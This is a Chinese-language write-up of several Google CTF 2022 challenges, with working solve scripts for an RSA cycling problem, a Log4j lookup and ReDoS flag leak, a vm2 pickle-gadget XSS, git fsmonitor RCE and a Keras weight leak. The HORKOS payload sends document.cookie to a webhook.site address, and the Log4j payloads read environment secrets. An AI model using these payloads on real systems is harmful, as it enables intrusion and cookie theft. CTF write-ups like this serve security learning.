Google CTF 2022 WriteUps

和 XxTSJxX 參加了今年的 Google CTF,我只解掉了一些比較簡單的題目而已,但是題目都蠻有趣的。

題目名稱上有標 * 的代表的是我有試著解但是沒成功的題目,比賽結束後才把題目解掉。

crypto

CYCLING

這題給了個 2048 bits 的 RSA 要解,然後它還另外提供了一個 符合 。另外題目還有提供一組比較小的 case 作為測試用的數字:

1
2
3
4
5
6
7
8
9
e = 65537
n = 0x112b00148621
pt = 0xdeadbeef
ct = pow(pt, e, n)
pt = ct
for _ in range(209):
# k = 209 here
  pt = pow(pt, e, n)
assert ct == pow(pt, e, n)

首先從 可推得

因為 所以 ,即 整除

對正常 RSA 來說 應該不會比 小太多,不過拿這題的 small case 去分解可知 並不小:

1
2
3
4
5
6
7
8
9
sage: n=0x112b00148621
sage: factor(n)
3021943 * 6246439
sage: p=3021943
sage: q=n//p
sage: factor(p-1)
2 * 3 * 7 * 11 * 31 * 211
sage: factor(q-1)
2 * 3 * 11 * 31 * 43 * 71

另外 也正好成立,不單單是整除的關係而已。估計一下題目的 ,但 和 small case 的情況類似,所以也能猜測它 也在題目的情況下成立。

接下來就是要從 回推 而已,因為 可以猜它和 small case 情況類似,所以推測它的分解都沒有 prime power,因此

再來 ,所以從 的分解可以知道關於 的一些資訊。

1
2
3
4
5
6
7
8
9
sage: from sage.crypto.util import carmichael_lambda
sage: carmichael_lambda(carmichael_lambda(n)).factor()
2 * 3 * 5 * 7
sage: factor(31-1)
2 * 3 * 5
sage: factor(43-1)
2 * 3 * 7
sage: factor(71-1)
2 * 5 * 7

直接用 FactorDB 分解題目的 也能知道它也都沒有 prime power,將分解出來的數記為

此時只要計算

就能得到 的一個倍數 ,這部分。然後 就能解密 flag 了。

因為這個方法會讓數字變很大,可以加個 是 prime 的檢查就能保持 成立的情況下同時讓數字不會變太大。不過就算不加的話其實讓它跑個幾分鐘也能出來。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import json
from itertools import product
import gmpy2
from tqdm import tqdm
from Crypto.Util.number import isPrime

e = 65537
n = 0x99EFA9177387907EB3F74DC09A4D7A93ABF6CEB7EE102C689ECD0998975CEDE29F3CA951FEB5ADFB9282879CC666E22DCAFC07D7F89D762B9AD5532042C79060CDB022703D790421A7F6A76A50CCEB635AD1B5D78510ADF8C6FF9645A1B179E965358E10FE3DD5F82744773360270B6FA62D972D196A810E152F1285E0B8B26F5D54991D0539A13E655D752BD71963F822AFFC7A03E946CEA2C4EF65BF94706F20B79D672E64E8FAAC45172C4130BFECA9BEF71ED8C0C9E2AA0A1D6D47239960F90EF25B337255BAC9C452CB019A44115B0437726A9ADEF10A028F1E1263C97C14A1D7CD58A8994832E764FFBFCC05EC8ED3269BB0569278EEA0550548B552B1
ct = 0x339BE515121DAB503106CD190897382149E032A76A1CA0EEC74F2C8C74560B00DFFC0AD65EE4DF4F47B2C9810D93E8579517692268C821C6724946438A9744A2A95510D529F0E0195A2660ABD057D3F6A59DF3A1C9A116F76D53900E2A715DFE5525228E832C02FD07B8DAC0D488CCA269E0DBB74047CF7A5E64A06A443F7D580EE28C5D41D5EDE3604825EBA31985E96575DF2BCC2FEFD0C77F2033C04008BE9746A0935338434C16D5A68D1338EABDCF0170AC19A27EC832BF0A353934570ABD48B1FE31BC9A4BB99428D1FBAB726B284AEC27522EFB9527DDCE1106BA6A480C65F9332C5B2A3C727A2CCA6D6951B09C7C28ED0474FDC6A945076524877680
k = 2**1025 - 3

with open("fact.json", "rb") as f:
# curl 'http://factordb.com/api?query=2^1025-2' -o fact.json
fact = json.load(f)
fs = [gmpy2.mpz(p) for p, _ in fact["factors"]]
print(fs)
t = 1
for xx in tqdm(product([0, 1], repeat=len(fs)), total=2 ** len(fs)):
s = 1
for x, y in zip(xx, fs):
if x:
s *= y
if isPrime(s + 1):
t *= s + 1
d = gmpy2.invert(e, t)
pt = gmpy2.powmod(ct, d, n)
print(int(pt).to_bytes((int(pt).bit_length() + 7) // 8, "big"))
# CTF{Recycling_Is_Great}

不過我這個方法似乎和 intended solution 有點出入,前半概念類似但是後半不太一樣。差異在於它利用了 去嘗試找到 或是 的倍數,然後使用類似 pollard p-1 的方法一直 power 讓數字保持在一定範圍內,這樣執行起來也比較快。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import json
from itertools import combinations, product
from functools import reduce
from operator import mul
import gmpy2
from tqdm import tqdm
from Crypto.Util.number import isPrime

e = 65537
n = 0x99EFA9177387907EB3F74DC09A4D7A93ABF6CEB7EE102C689ECD0998975CEDE29F3CA951FEB5ADFB9282879CC666E22DCAFC07D7F89D762B9AD5532042C79060CDB022703D790421A7F6A76A50CCEB635AD1B5D78510ADF8C6FF9645A1B179E965358E10FE3DD5F82744773360270B6FA62D972D196A810E152F1285E0B8B26F5D54991D0539A13E655D752BD71963F822AFFC7A03E946CEA2C4EF65BF94706F20B79D672E64E8FAAC45172C4130BFECA9BEF71ED8C0C9E2AA0A1D6D47239960F90EF25B337255BAC9C452CB019A44115B0437726A9ADEF10A028F1E1263C97C14A1D7CD58A8994832E764FFBFCC05EC8ED3269BB0569278EEA0550548B552B1
ct = 0x339BE515121DAB503106CD190897382149E032A76A1CA0EEC74F2C8C74560B00DFFC0AD65EE4DF4F47B2C9810D93E8579517692268C821C6724946438A9744A2A95510D529F0E0195A2660ABD057D3F6A59DF3A1C9A116F76D53900E2A715DFE5525228E832C02FD07B8DAC0D488CCA269E0DBB74047CF7A5E64A06A443F7D580EE28C5D41D5EDE3604825EBA31985E96575DF2BCC2FEFD0C77F2033C04008BE9746A0935338434C16D5A68D1338EABDCF0170AC19A27EC832BF0A353934570ABD48B1FE31BC9A4BB99428D1FBAB726B284AEC27522EFB9527DDCE1106BA6A480C65F9332C5B2A3C727A2CCA6D6951B09C7C28ED0474FDC6A945076524877680
k = 2**1025 - 3

with open("fact.json", "rb") as f:
# curl 'http://factordb.com/api?query=2^1025-2' -o fact.json
fact = json.load(f)
fs = [gmpy2.mpz(p) for p, _ in fact["factors"]]
print(fs)


def factor():
cur = 2
# for xx in tqdm(product([0, 1], repeat=len(fs)), total=2 ** len(fs)):
# s = gmpy2.mpz(1)
# for x, y in zip(xx, fs):
# if x:
# s *= y
# if isPrime(s + 1):
# cur = gmpy2.powmod(cur, s + 1, n)
# g = gmpy2.gcd(cur - 1, n)
# if 1 < g < n:
# p = g
# q = n // p
# return p, q

# better version
for i in range(1, len(fs)):
for c in combinations(fs, i):
s = reduce(mul, c)
if isPrime(s + 1):
cur = gmpy2.powmod(cur, s + 1, n)
g = gmpy2.gcd(cur - 1, n)
if 1 < g < n:
p = g
q = n // p
return p, q


p, q = factor()
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
pt = gmpy2.powmod(ct, d, n)
print(int(pt).to_bytes((int(pt).bit_length() + 7) // 8, "big"))
# CTF{Recycling_Is_Great}

web

LOG4J2

這題的前一題是 LOG4J,有個地方可以直接用 ${date:${env:FLAG}} 就能從 error message 中得到 flag 了。 (by @splitline)

而 LOG4J2 的差別似乎是它在碰到 error message 的時候訊息會整個被 replace 成 Sensitive information detected in output. Censored for security reasons.,所以必須要用點不同的方法才行。

Log4j 官方文件比較相關的部分有兩個:

可以在 Pattern Layout 看到有 replace{pattern}{regex}{substitution} 可以用,所以說不定能用 regex 去 match flag,然後用 blind 判斷,一個字元一個字元 leak 出來。

我測試的時候不知道怎麼讓它在 match 到 regex 的時候產生錯誤,因為 Pattern Layout 似乎是不能 nested 在其他的 Pattern Layout 之中的。而且它執行順序似乎是先執行完 Lookups 才執行 Pattern Layout,所以 ${date:%replace...} 也是不可能的。

後來想一想想到說 regex 本身就能用 REDOS 去讓它產生不同的 timing,然後就能判斷 flag 了。我用的 regex 大概像這樣:

1
%replace{S${env:FLAG}E}{^SCTF.a((((((((((((((((((((.)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*E$}{}

如果那個 a 有 match 到那它就會因為後面那些東西直接在 backtracking 時跑很久,直接吃 server 的 timeout (10s),沒 match 到的話 regex engine 就不會嘗試去執行後面那些瘋狂 backtracking 的部分,所以 response 很快就會回來。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import httpx
import asyncio
import string


async def is_ok(client: httpx.AsyncClient, c: str):
try:
await client.post(
"https://log4j2-web.2022.ctfcompetition.com/",
data={
"text": "%replace{S${env:FLAG}E}{^SCTF."
+ c
+ "((((((((((((((((((((.)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*E$}{}"
},
timeout=3,
)
return False
except:
return True


async def main():
async with httpx.AsyncClient(http2=True) as client:
chrs = string.ascii_lowercase + "-"
print(chrs)
flag = ""
while not flag.endswith("}"):
res = await asyncio.gather(*[is_ok(client, flag + c) for c in chrs])
print(res)
if all([not r for r in res]):
flag += "}"
else:
flag += [c for c, r in zip(chrs, res) if r][0]
print("CTF{" + flag)


asyncio.run(main())
# CTF{and-you-thought-it-was-over-didnt-you}

*HORKOS

賽中沒能解掉這題 QQ

這題基本上是要找出 shoplib.mjs 的漏洞。他在 server 端的時候會接受一個 json string cart 傳給 sendOrder(value, orders),之後把 mutated orders 用 JSON + base64 後 redirect 到 /order#b64,同時也把那個 url 傳給 xss bot。

xss 部分只要能讓 orders 中某個地方的 json key 能出現 array 就能達成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const escapeHtml = (str) => str.includes('<') ? str.replace(/</g, c => `&#${c.charCodeAt()};`) : str;
const renderLines = (arr) => arr.reduce((p,c) => p+`
<div class="row">
<div class="col-xl-8">
<p>${escapeHtml(c.key).toString()}</p>
</div>
<div class="col-xl-2">
<p class="float-end">${escapeHtml(getValue(c.value, 'quantity').toString())}
</p>
</div>
<div class="col-xl-2">
<p class="float-end">${escapeHtml(getValue(c.value, 'price').toString())}
</p>
</div>
<hr>
</div>`, '');

不過看了一下它的邏輯可知沒有正常的手段可以直接達成這件事,不過 server 跑這個腳本在 vm2 中也已經算是個提示需要在 vm2 中 RCE 才行。關鍵部分在於它實作的這個 pickle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
export const pickle = {
PRIMITIVES: ['String', 'Number', 'Boolean'],
loads: json => {
const obj = {};
for (const {key, type, value} of json) {
if (type.match(/^pickled/)) {
obj[key] = pickle.loads(value);
const constructor = type.replace(/^pickled/, '');
obj[key].__proto__ = (globalThis[constructor]||module[constructor]).prototype;
} else {
obj[key] = new globalThis[type](value);
}
}
return obj;
},
dumps: obj => {
const json = [];
for (const key in obj) {
const value = obj[key];
const type = value.constructor.name;
if (typeof type !== 'string') continue;
if (typeof value == 'object' && !pickle.PRIMITIVES.includes(type)) {
json.push({
key,
type: 'pickled' + type,
value: pickle.dumps(value)
});
} else if (typeof value !== 'undefined') {
json.push({
key,
type,
value: globalThis[type].prototype.valueOf.call(value)
});
}
}
return json;
}
};

有個 obj[key] = new globalThis[type](value); 看起來很好用,但是 type === 'eval' 的話會出現 Uncaught TypeError: globalThis.eval is not a constructor,所以只能利用 type === 'Function' 去創建新 function,然後看看能怎麼利用讓它 call 到新建立的 function。

賽中有嘗試找看看關於 toString, valueOf, then, toJSON 可能會被呼叫的點,但是都沒成功找到。比賽後才知道 async sendOrder() 會回傳 this.order.orderId,而 app.jslet result = await vm.run(script);。所以只要讓 orderId{ then: Function('pwned') } 就能讓它呼叫到 function 了。

總之這樣就能用 RCE,然後因為 vm2 在這部分也有保護的樣子所以無法 escape,但是這樣已經足夠控制 key 變成 array 去 xss 了。

在 devtool 下斷點後執行這段 code 再 submit 就能讓 bot xss:

1
cart.value=JSON.stringify([{"key":"0","type":"pickledShoppingCart","value":[{"key":"items","type":"pickledObject","value":[{"key":"Tomato","type":"pickledItem","value":[{"key":"price","type":"Number","value":10},{"key":"quantity","type":"String","value":"0"}]}]},{"key":"address","type":"pickledAddress","value":[{"key":"street","type":"String","value":""},{"key":"number","type":"Number","value":0},{"key":"zip","type":"Number","value":0}]},{"key":"shoppingCartId","type":"pickledObject","value":[{"key":"then","type":"Function","value":"console.log(orders[0][0].value[0].value[0].key=['<img src=1 onerror=\"(new Image).src=`https://webhook.site/73aaf079-7c60-4b19-99a8-9b84680f615f?`+document.cookie\">']);arguments[0]()"}]}]}])

misc

LEGIT

這題可以提供一個 url 讓 server 去 git clone,然後之後可以 list dir 後 cd 切換目錄,然後執行 git fetch。從這邊很明顯是使用 git 的 fsmonitor 去拿 RCE,參考 Git honours embedded bare repos, and exploitation via core.fsmonitor in a directory's .git/config affects IDEs, shell prompts and Git pillagers

其中有個 POC - Burying a malicious bare repo within a regular repo 的完整流程可以照抄,直接按照它的指令去建立一個 repo 讓 server clone,然後 RCE 拿 flag 即可。

OCR

這題在 server 端跑了個 keras 的 model 如下:

1
2
3
4
5
6
# The network is pretty tiny, as it has to run on a potato.
model = Sequential()
model.add(Flatten(input_shape=(16,16,3)))
# I'm sure we can compress it all down to four numbers.
model.add(Dense(4, activation='relu'))
model.add(Dense(128, activation='softmax'))

輸入是 16x16x3 的圖片,壓平之後經過一個只有四神經元的隱藏層輸出是 128 個 ascii 字元中的哪個字:

1
2
3
4
5
6
7
8
9
results = model.predict(image_data)
s = ""
for row in results:
k = "?"
for i, v in enumerate(row):
if v > 0.5:
k = chr(i)
s += k
print("The neural network sees:", repr(s))

model 的 weights 可以自己設定,但是因為這個模型真的太小了,沒辦法直接 train 一個同大小的模型去做辨識,且它的資料集也只給了 flag 的前四個字元 CTF{ 的圖片。

我的作法是想辦法控制 weight 把圖片的 pixel leak 出來。首先得知道 Dense 相當於 ,所以整個 model 其實做了這樣的計算:

其中 是 flatten 的輸入,一個 的矩陣。

這邊的 其實是 batch size,但是就先不管它了

所以

而輸入的圖片從資料集可以看出它固定只有三種顏色,所以 中的每三個一組的值代表一個 pixel 的顏色。假設要讀第一個 pixel 的話就把 設成某個值 ,然後

假設那個值是正數,那麼 相當於無作用,所以設 的話最終輸出

所以只要透過控制 經過 softmax 的值是否能超過 0.5 就能判斷顏色是否相同。計算一下 可得 ,而 大概抓個平均 ,所以 取個接近 的數剛剛好。

有些時候可能因為取的 沒能分出顏色,就多取幾個不同的 就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import os

os.environ["PWNLIB_NOTERM"] = "1"
# from pwnlib.tubes.process import process
from pwn import process, remote, context
from subprocess import check_output

context.log_level = "error"
import ast
from PIL import Image
import random
from tqdm import tqdm
from multiprocessing import Pool
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor, as_completed


def rand_color():
return tuple([random.randrange(256) for _ in range(3)])


def solve_pow(cmd):
return check_output(cmd, shell=True, executable="/bin/bash").strip()

def connect_one(i):
io = remote("ocr.2022.ctfcompetition.com", 1337)
io.recvuntil(b"with:\n")
cmd = io.recvlineS().strip()
cmd = cmd.replace(
"python3 <(curl -sSL https://goo.gle/kctf-pow)", "~/.cargo/bin/kctf-pow"
)
print(i, cmd, flush=True)
out = solve_pow(cmd)
print(i, out, flush=True)
io.sendline(out)
return io


def clear_weights(io):
io.sendlineafter(b"Menu:", b"0")


def set_weight(io, *args):
io.sendlineafter(b"Menu:", b"1")
io.sendlineafter(b":", " ".join(map(str, args)).encode())


def read_flag(io):
io.sendlineafter(b"Menu:", b"2")
io.recvuntil(b"sees: ")
s = ast.literal_eval(io.recvlineS())
return s


def read_pixel(io, i, mul):
clear_weights(io)
# weight matrix is transposed
set_weight(io, 2, 0, 0, 1)
set_weight(io, 0, 3 * i, 0, mul)
set_weight(io, 0, 3 * i + 1, 0, mul)
set_weight(io, 0, 3 * i + 2, 0, mul)
return read_flag(io)


# io = connect()
# flaglen = 4
flaglen = 34
dt = [[None] * (16 * 16) for _ in range(flaglen)]


def handle(io, rg, pbar):
for i in rg:
# print(i)
muls = [1.5,1.8,2.1,2.4,2.7,3.0,3.3,3.5,3.8]
fs = [read_pixel(io, i, m) for m in muls]
for j in range(flaglen):
dt[j][i] = tuple([f[j] for f in fs])
# print(i,*dt[i])
pbar.update(1)
io.close()


n_conn = 64
with ProcessPoolExecutor(max_workers=8) as ex:
futures = [ex.submit(connect_one, i) for i in range(n_conn)]
ios = [f.result() for f in futures]
print('DONE CONN')
with tqdm(total=16 * 16) as pbar:
with ThreadPoolExecutor(max_workers=n_conn) as ex:
futures = [
ex.submit(
handle, ios[i // (256 // n_conn)], list(range(i, i + 256 // n_conn)), pbar
)
for i in range(0, 16 * 16, 256 // n_conn)
]

for k in range(flaglen):
print(k, set(dt[k]))
if len(set(dt[k])) <= 3:
colors = [(128, 0, 0), (0, 128, 0), (0, 0, 128)]
cmap = {x: y for x, y in zip(set(dt[k]), colors)}
img = Image.new("RGB", (16, 16))
pixels = img.load()
for i in range(16 * 16):
pixels[i % 16, i // 16] = cmap[dt[k][i]]
img.save(f"flag_out/flag_{k}.png")
print(f"get flag {k}")
# CTF{n0_l3aky_ReLU_y3t_5till_le4ky}

我這個腳本只能正確 leak 部分的字元而已,不過缺少的字元後面猜一猜就能猜出來了。也能參考一下別人的 writeup,他寫個比較好,exploit 也更加穩定。